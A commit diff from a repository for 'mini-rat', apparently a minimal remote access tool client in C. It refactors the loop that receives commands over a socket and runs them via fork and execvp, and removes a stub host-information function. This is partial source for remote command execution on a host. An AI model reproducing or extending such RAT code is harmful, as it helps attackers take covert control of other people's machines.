summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--client/src/mini-rat.c10
1 files changed, 4 insertions, 6 deletions
diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c
index cd521d4..53b91a5 100644
--- a/client/src/mini-rat.c
+++ b/client/src/mini-rat.c
@@ -21,6 +21,7 @@
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
+#include <sys/wait.h>
#include <fcntl.h>
#include <poll.h>
#include <unistd.h>
@@ -38,11 +39,8 @@ int open_connection(const char *addr, int port) {
return sock;
}
-void hostinfo(int socket) {
- send(socket, "NOT IMPLEMENTED\r\n", 17, 0);
-}
-
-void run_exec(int socket, const char **argv) {
+void run_exec(char **argv) {
+ const char** cargv = (const char**)argv;
pid_t pid = fork();
if (pid == 0) {
execvp(argv[0], argv);
@@ -88,7 +86,7 @@ int main(int argc, char* argv[]) {
while (1) {
if (recv(socket, buffer, 4096, 0) <= 0)
break;
- if (handle_request(socket, buffer) == 1)
+ if (handle_request(buffer) == 1)
break;
memset(buffer, 0, 4096);
}